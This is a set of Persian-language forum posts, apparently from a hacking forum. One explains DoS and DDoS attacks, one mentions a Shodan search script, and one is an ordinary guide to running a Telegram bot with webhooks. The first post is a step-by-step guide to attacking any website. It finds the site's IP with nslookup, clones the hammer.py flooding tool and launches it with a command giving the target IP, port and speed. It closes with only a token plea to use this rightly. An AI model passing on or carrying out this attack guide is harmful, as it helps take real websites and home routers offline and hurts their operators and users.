  23. سلا م . ظهرتون بدون باگ . امروز میخوام درباره حمله داس و دیداس صحبت کنم این دو حمله یکی از معروف ترین حمله های سایبری بین هکر ها هستش . خوب حالا این دوتا اتک چی هستن و چه کاری انجام میدن ؟ این اتک ها هدفشون در اصل خارج کردن سرویس دهی اون میزبان به کاربران هست تا کابران نتونن با اون سایت کار کنن و کاراشون انجام بدن -- توضیح -- در این اتک هکر با ارسال درخواست های مکرر به سرور و یا کامپیوتر باعث اختلال سرور یا کامپیوتر می شوند ... خب در حمله اول که به اسم داس هستش یک کامپیوتر به یک سرور یا کامپیوتر درخواست هارو ارسال میکنه و باعث اختلال میشه (در این حمله تاثیری زیادی بر سرور نمیزاره و برا تارگت های خیلی کوچیک خوبه مثل مودم ها و روتر و..) در حمله دوم دیداس چند کامپیوتر به یک سرور خیلی بزرگ حمله میکنند و درخواست های زیادی از پورت های مختلفی به سرور می فرستند تا اون سرور از کار بیفته . در حمله دیداس خیلی قوی تر هستش و کامپیوتر های بیشتر در این حمله هستن شاید بیشتر بالای ۱۰۰ ۲۰۰ نفر آدم و خیلی خیلی بیشتر در این حمله ها سرور اف می شود و حتی در بعضی اوقات باعث صدمات فیزیکی به سرور هم می شوند .. آموزش اتک داس در کالی لینوکس : ابزار مورد نیاز : 1-nslookup 2-python3 3-hammer.py برای نصب این سه ابزار میتواند با استفاده از apt-get یا apt در کالی لینوکس ان هارا دریافت کنید به جز hammer.py نصب کردید ؟ بریم برای آموزش .. خب اول از همه باید ایپی سایت رو در بیاریم با nslookup که این نیاز به روت نداره ولی کسایی که همیشه تو روت هستن هم میتونن ازش استفاده کنن خب .. برا بدست اوردن ایپی nslookup رو مینویسم و در جلو اون سایت مورد نظر رو مینویسم و در قسمت Address ایپی مورد نظر سایتمون هستش .. بعد از اون اسکریپت اتک رو از سایت GitHub دانلود میکنیم از طریق git clone در ترمینال لینک دانلود : hammer.py بعد از دانلود اسکریپت . پوشه اسکرپیت رو با cd ha,mmer انتخاب میکنیم . بعد از اون با کد python3 hammer.py -s ip -p -t اتک رو شروع میکنیم در قسمت < ip > ایپی مورد نظرمون رو وارد میکنیم بعد از p- پورتی که اتک میخوایم رو بدیم میزاریم ( پورت دیفالت خودش ۸۰ هست ) و بعد از t- سرعت اتک رو وارد میکنیم ( سرعت دیفالت خودش ۱۳۵ هست) و بعد از وارد کردن همه اینا اتک شروع میشه و در اتمام کیل شدن رو مینویسه و به معنی اتمام هستش . خوش و خرم باشید . از این مطاب در راه درستش استفاده کنیم به امید قویتر شدن ایران در امنیت سایبری ( با اینکه خودش در حال حاضر قویترینه) خدانگهدار
  24. سلام من با استفاده از api های شودان اسکریپت سرچ اطلاعت نوشتم که برخی از اطلاعات رو بهتون میده چیز خاصی نداره فقط اگه دیدید قط شد . وارد سایت shodan.io بشید و لاگین کنید . روی مای اکانت یزنید اونجا api key حسابتونو نوشته . فایل اسکریپت رو باز کنید و با api خودتون جای api منو پر کنید . درست میشه . API.py
  25. با سلام شما برای اینکه رباتتون همیشه در حال اجرا باشه باید اونو تو یه سیستم همیشه روشن قرار بدید وگرنه ربات که خود به خود اجرا نمیمونه . تو این آموزش ما میخوایم ربات هایی که با کتابخونه pyTelegramBotAPI نوشته شدن (telebot) رو روی سرور اجرا کنیم و همیشه روشن بمونه . البته توجه داشته باشید کد های مربوط به وب سرویس cherrypy نیز در کتابخونه های دیگه ای مثل ptb یا telepot یا ... کار خواهد کرد. (ما اینجا فرض کردیم که شما اطلاع دارید که متد set_webhook چی هست و .. - اگر از کتابخونه های دیگه استفاده میکنید این آموزش هم برای اونا صدق میکنه) ربات هارو روی سرور مجازی VPS راه اندازی کنید . و بهتره از لینوکس استفاده کنید . پیشنهاد من اوبونتو هست. مطمین شوید تمام ماژول های موجود در بات رو نصب کنید به وسیله ابزار pip : این ابزار به راحتی با استفاده از دستور زیر در سرور های لینوکسی قابل نصب است : دومی برای پایتون نسخه دو هست. که نباید هر دو دستور وارد شود . بسته به نسخه پایتون یکی از دستورات رو وارد کنید. sudo apt-get update && apt-get install python3-pip (python 3.x.x) sudo apt-get update && apt-get install python-pip (python 2.x.x) ترمینال را باز کنید یا CMD و از دستور زیر برای نصب ماژول ها استفاده کنید: pip install <package-name> میدونید که باید بعد از کلمه Install‌نام کتابخونرو بنویسید توضیحات اضافی نمیدیم چون اینارو بلدید. البته چیزایی که الان میخوایم بگیم تو خود سایت هم موجود هست. وب هوک webhook : وب سرویس هایی که روی سرور راه اندازی میشن و در مواقعی که به اونها درخواست ارسال بشه پاسخ میدن و به نوعی ربات میخوابه و زمانی که ما بهش نیاز داشتیم ازش استفاده میکنیم . باعث میشه کمتر از پهنای باد استفاده بشه و ارور های مربوط به time out نیز رفع بشه همچنین رم هم کمتر مصرف بشه. یکی از بهترین وب سرویس های پایتون cherrypy هست که خیلی قویه و کار باهاش بسیار راحت. دو روش برای اجرای ربات وجود داره: 1) بدون استفاده از وب هوک ها polling() infinity_polling() دومین متد به تازگی به کتابخونه ارسال شده و تو این متد ربات تو یه حلقه با شرط همیشه درست قرار میگیره تا عمل polling همیشه انجام بشه اما ایرادات زیادی داره : استفاده خیلی زیاد از پهنای باند -دریافت ارور های time out به دلیل قطعی ناگهانی - استفاده بیش از حد از رم سرور. این متد ها برای تست و بررسی ربات معمولا تو سیستم های خودمون استفاده میشه تا قبل از اینکه ربات رو روی سرور بذاریم اون رو امتحان کرده باشیم تا ایرادی نداشته باشه. پس به شدت توصیه میشه حتما از وب هوک استفاده کنید. 2)اسفاده از وب هوک ها : اول باید دو فایل ایجاد کنید برای تاییده درخواست های ارسالی به سرور و تنظیم ssl : دستورات زیر رو به ترتیب وارد کنید: openssl genrsa -out webhook_pkey.pem 2048 openssl req -new -x509 -days 3650 -key webhook_pkey.pem -out webhook_cert.pem و بعد اطلاعات مورد نظر رو وارد کنید کد کشور و نام سازمان و ... با گذاشتن یک نقطه میتونید سوال رو رد کنید. نکته مهم : تو دومین دستور اگر عبارت زیر را دیدید باید آی پی سرور رو قرار بدید: Common Name (e.g. server FQDN or YOUR name): آی پی سرور حالا باید در سرور یه پورت باز کنید (حتما باید یکی از اینها باشد 443, 80, 88 8443 😞 sudo iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 8443 -j ACCEPT من 8443 رو انتخاب کردم. نکته : به جای کلمه guardiran توکن ربات خود را به صورت کامل که از Botfather دریافت کردید بنویسید. ضمنا تمام کد هارا به همین شکل بنویسید . API_TOKEN = 'guardiran' WEBHOOK_HOST = '<ip/host where the bot is running>' WEBHOOK_PORT = 8443 WEBHOOK_LISTEN = '<ip/host where the bot is running>' WEBHOOK_SSL_CERT = './webhook_cert.pem' مسیر فایل هایی که درست کردید WEBHOOK_SSL_PRIV = './webhook_pkey.pem' مسیر فایل هایی که درست کردید WEBHOOK_URL_BASE = "[Hidden Content]" % (WEBHOOK_HOST, WEBHOOK_PORT) WEBHOOK_URL_PATH = "/%s/" % (API_TOKEN) logger = telebot.logger telebot.logger.setLevel(logging.INFO) class WebhookServer(object): @cherrypy.expose def index(self): if 'content-length' in cherrypy.request.headers and \ 'content-type' in cherrypy.request.headers and \ cherrypy.request.headers['content-type'] == 'application/json': length = int(cherrypy.request.headers['content-length']) json_string = cherrypy.request.body.read(length).decode("utf-8") update = telebot.types.Update.de_json(json_string) bot.process_new_updates([update]) return '' else: raise cherrypy.HTTPError(403) تو اینجا کد های ربات رو قرار بدید که نوشتید bot.remove_webhook() time.sleep(0.1) bot.set_webhook(url=WEBHOOK_URL_BASE+WEBHOOK_URL_PATH, certificate=open(WEBHOOK_SSL_CERT, 'r')) access_log = cherrypy.log.access_log for handler in tuple(access_log.handlers): access_log.removeHandler(handler) cherrypy.config.update({ 'server.socket_host': WEBHOOK_LISTEN, 'server.socket_port': WEBHOOK_PORT, 'server.ssl_module': 'builtin', 'server.ssl_certificate': WEBHOOK_SSL_CERT, 'server.ssl_private_key': WEBHOOK_SSL_PRIV }) cherrypy.quickstart(WebhookServer(), WEBHOOK_URL_PATH, {'/': {}}) همه چی مشخصه فقط بدونید به جای WEBHOOK_HOST و WEBHOOK_LISTEN حتما آی پی سرور مجازیتون رو بدید و مسیر فایلایی هم که درست کردیم رو حتما درست بدید. حالا برای اجرای ربات یه ترمینال باز کنید دستور زیر رو تایپ کنید: python3 script.py python script.py اگه با نسخه 3 رباتو نوشتید اولین دستور در غیر اینصورت دومین دستور رو وارد کنید.
×
×
  • Create New...